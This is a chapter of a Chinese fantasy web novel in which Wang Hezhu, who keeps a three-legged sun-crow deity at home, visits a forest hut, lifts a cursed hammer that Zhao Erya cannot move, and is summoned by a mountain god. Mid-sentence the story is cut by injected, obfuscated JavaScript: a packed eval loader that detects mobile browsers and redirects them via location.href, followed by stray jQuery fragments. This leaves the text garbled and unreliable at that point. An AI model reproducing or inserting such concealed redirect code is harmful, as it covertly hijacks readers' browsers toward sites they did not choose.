如果你找一人来作画，画的名字叫《一条路》，此人大概率要给路两边画上树的。王何驻曾经思考过这个问题，为什么人们总是把路放在树与树之间？据一些哲学书籍所述，这种“林中路”，象征着人对世界真理的探索，把人置于光影斑驳的诸多可能性之中，如此云云。
王何驻喜欢用通俗具体的语言和事实解释问题，所以没太能立刻感受到其中的玄妙意境，但是她还是能理解一些说法的，比如，“林中路”之所以成为人类的共同印象，是因为人类用斧子在密林中开辟道路时留下了基因记忆。
她曾试图和金乌讨论这个问题，却激怒了祂。
“你们总想着砍树，砍树，你们把树砍了，你们有路了，我们上哪呆着！”
金乌气得跺了两脚。这“两脚”不是记的次数，而是切实的两只脚。祂有三只脚，平时爱把其中一只脚收起来，藏进腹部的羽毛中，现在却把那脚也伸出来跺了。祂想到颛顼下令截断通天之路，做的第一件事就是砍了建木，忍不住生气。
“你可以选择木制的笼子，”王何驻提出了积极的解决方案，建议金乌苦中作乐，“好了，我要去上课，闲得没事干帮我抢下火车票，你手，嗯，脚快。”
“……”金乌沉默了一下，张开双翅，大声宣布：“你实实在在得罪了我，我彻彻底底地恨上了你。
你以为你得到的是谁的恨？是一个天神的恨！
作为惩罚，我要把你的面包全都吃掉！”
“记得抢硬卧的，软卧太贵，硬座受不了。”王何驻无视掉了金乌的宣战，只交代祂买票。
王何驻上完课回到租房，发现床底下的一整箱面包都没了。金乌假装睡着，又偷偷睁开眼，观察着她的神色，却见她没什么反应。
金乌不知道，那箱面包已经过期了，王何驻忘了丢。
“怎么办呀！”护林员长吁短叹，打断了王何驻的思考。他和赵尔雅聊着天，王何驻跟在后面。他们一行走在树林间的小路上，约莫过去了十几分钟。
这位护林员已经说过很多次“怎么办呀”，“萨满死了，雪六不管；‘风二’若来，怎么办呀”，一路上谈的最多的就是这类话题。
赵尔雅安慰着护林员，耐心地陪他东拉西扯。王何驻没有插嘴，只打量着山路周围的白桦与冷杉，这里的树非常高，似乎都想触摸天穹。他们铭记着着托举生命的许诺，只是现在还是寒冬。
他们一路走着，遇到一个木栅栏，护林员从裤兜里摸出了一串钥匙，挑出其中一个，开了锁，然后把门推开，侧身让出路来。
“前面的路，可得小心着走，如果迷了方向，还得我来找。不要踩着树苗，也别惊了动物，”护林员说道，“我要回家吃饭，再见。”
王何驻跟着赵尔雅，告别了护林员，继续往山上走。这里的树更多，被风或者雪截断的树枝倒在雪地里
“我们要去哪？”王何驻问道，她的帽子边沿结了霜花。
“过去猎人为了捕猎，在这里搭了一间木屋，那屋子后来改造过很多次，供不便走夜路下山的人歇脚。当年重修神庙的那几个工人，也住过那屋。现在那里还留着工人施工的工具，包括锤子。”赵尔雅解释道，她从包里掏出一瓶矿泉水，递给王何驻。
“那些参与改造神庙却失踪的工人，后来没有任何线索吗？”王何驻接过矿泉水，发现瓶中的水结了冰。她还是拧开瓶盖，喝了一口，却咽下些碎冰沙。
“没有，一共四个人，都没了踪迹。刚刚那位护林员，也和工人们一起吃过酒，他说这些工人曾经抱怨夜晚总听到婴儿的啼哭。”
“雪六之前的那位神，究竟是什么来头。”
“不知道。祂不许人们唤祂的名字，谁若是坏了规矩，就会遭殃，所以就算有人知道了，也没法说，久而久之，就都不知道了。没有名字，又上哪了解祂的来历。”
“那祂有什么事迹，让人们尊祂为神。”
“这个……也不知道。也许只是这村里的人觉得他们需要一个神，于是就有了神。人总是会遇到一些自己暂时无法摆平的麻烦的，如果神无所不能，那祂也能解开这些难题，人们便拜祂。看到那座屋子了吗？我们到了。”
王何驻顺着赵尔雅手指向的方向看去，只见银白色的冷杉树下立着一间木屋，冷杉被风吹得摇摇晃晃，其上的积雪滚落到屋顶上，因为屋顶的坡度，又坠了下来，在屋周围聚起了小小的雪堆。屋门罩了厚厚的防风布，没有锁，护林员偶尔也会将巡林的工具暂时存放在里头。
屋内分两间，入口一间放着一张桌子，四排长凳，都落了灰，一盏煤油灯放在桌上，油灯已经很久没用了，屋内十分昏暗。左转进去起居室，有一扇窗，窗前放着一张桌子，曾经刷在上面刷的漆全掉了，露出树眼纹路。桌两边分别贴墙放着两张炕，王何驻可以想象住在这里的人坐在炕上聊天的场景。
两炕间的空间格外狭窄，却安了个小火炉，里面只剩一些炭灰，火炉上是薄薄的铁丝网格垫，可以用来烤热冻成石头的干粮。
王何驻翻开抽屉，见到了工具箱，箱里有卷尺、凿子种种，也放着一个羊角锤。
她拿起羊角锤，尝试挥了一下，那锤头却从腐朽的木手柄处脱落，划出弧线，砸在小灶上，灶上的铁丝网格垫被这一撞，击落在地，锤头咕噜滚入炭火之里。王何驻呆住了。
“这里有锤子。”赵尔雅的声音自入口处传来。
王何驻寻声出了里屋，才发现外间还有个储物室，赵尔雅站在门边，指着屋内角落放着的一把八角锤。这锤子看着相当有年头，应该比那羊角锤还老。
“这把锤子可有个传说，”赵尔雅说道，
“当年有位石匠在这座山献上贡品，请求为神立像。神应允了，特地现了真身。石匠照着他的样子，运斧如风，挥锤若雨，凿石成像，那神像自他手下诞生，毫发毕现，栩栩如生。神却不满意，要求重造。石匠修了许多遍，都没法做出神认可的神像。在他看来，自己已经雕得十分贴近他看到的神的形象了，神却说，这些都不是祂的样子。
石匠找了师父，师父告诉他，既然神拒绝了按照现在的模样造的像，你就跟着心里所想的神应该有的模样，去塑祂的形。于是石匠照做了，那神看了，果真承认了这座神像。
‘吾已抛弃过去，亦不肯接受当下。你塑的像，既不同于曾经的我，也有别于现在的我，便用它来代我吧。’
石匠造了令神明满意的像，神问石匠希望从祂那得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438727|169330||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到什么，石匠说，希望获得超越凡胎的能力，于是，神对他的锤子下了咒。
‘这把锤子既为吾造像，塑吾形体，吾便赐它摧毁吾之躯壳的能力。’
神说着，垂下几滴泪，那泪水落在锤子上。待泪迹消失，锤子掉落在地，石匠去取，却无论如何也拿不动它。
神大笑着离开了。
许多年过去，从没有人拿起过这把锤子。
据说，神在离去前，告诉石匠，唯有’无惧无畏、无欲无求’的人，才能举起这把锤子。”
赵尔雅说完，摸了一下锤子柄，尝试提了一下，锤子纹丝不动。
赵尔雅笑着说：“你来试试，若是拿不起来，我们再去贮木场买个。”
王何驻走上前，蹲了下去，单手握住锤柄，然后起身，提起了锤子，好像从地上捡起一个空的矿泉水瓶那样轻松。她看了下，手中的锤子，从衣服口袋中掏出纸巾，擦拭着锤头的锈。
赵尔雅在旁边看着，嘴角轻颤，手控制不住地发抖。她眼里神色复杂。
“放那么久，居然还能用。”王何驻挥了一下锤子，感叹道。
“你，能把它，给我吗？”赵尔雅问道，向王何驻伸出了手，神色晦暗不明。
王何驻把锤子递到她手上，提防着往后悄悄退了一步。
只听“咚”的一声，锤子又砸在地上，锤柄带着赵尔雅一个踉跄，栽倒在地。
“这锤子有那么重吗？”王何驻疑惑地瞧着赵尔雅，却发现泪水滑过她的脸颊。
“你被锤子砸到了？”王何驻问道。
“不，没事，只是感叹自己弱小无力，像个笑话。”
“力气小也没什么大不了的，你也不靠力气吃饭。”王何驻觉得自己应该安慰她。
赵尔雅没理她，只是跪在地上，尝试了好几次，锤子却纹丝不动，她最后放弃了，无力地瘫坐在地上，抓着锤柄流泪，
“为什么不能是我。”赵尔雅轻轻地念叨。
王何驻打量着赵尔雅，栗色的长发遮住了她的脸，她低头抽噎，刚刚那句话好像幻觉。
待赵尔雅平复了情绪，王何驻将锤子塞进包里，同她一块离开。
甫一出门，屋外刮起了灰蒙蒙的风。她抬头，却见天上盘旋着渡鸦，有几只叫着，落在白桦树枝上，收了翅膀。狍子与野猪聚在屋子附近，松树后猞猁的身影若隐若现，雪兔从球序韭中探出脑袋，狐狸与黄鼠狼躲在覆雪的石头后。一些动物应该还在山林中奔走，叫声与足音自风中传来。
王何驻有些不知所措，转头赵尔雅：“这是要地震了吗？
赵尔雅摇了摇头，回她“不像，应该是为你手中的锤子而来。”
只是借锤子修个窗，竟惊动了山间百兽。
王何驻警惕着周围的动物，小心翼翼地往前试探着迈步，那些动物都为她让开路来。它们不碰她，也没有呈现出攻击姿态，却都盯着她，无视了周围还站着自己食物链上的天敌。
风很大，树在风中颤栗。王何驻走了几步，但见归路中，立着一兽，状如青牛，浑身赤色，马蹄人面。
“明日向晡，山中神庙，许你觐见。”那兽，或者说，神，向她说道。祂低着头，看着她手里的锤子。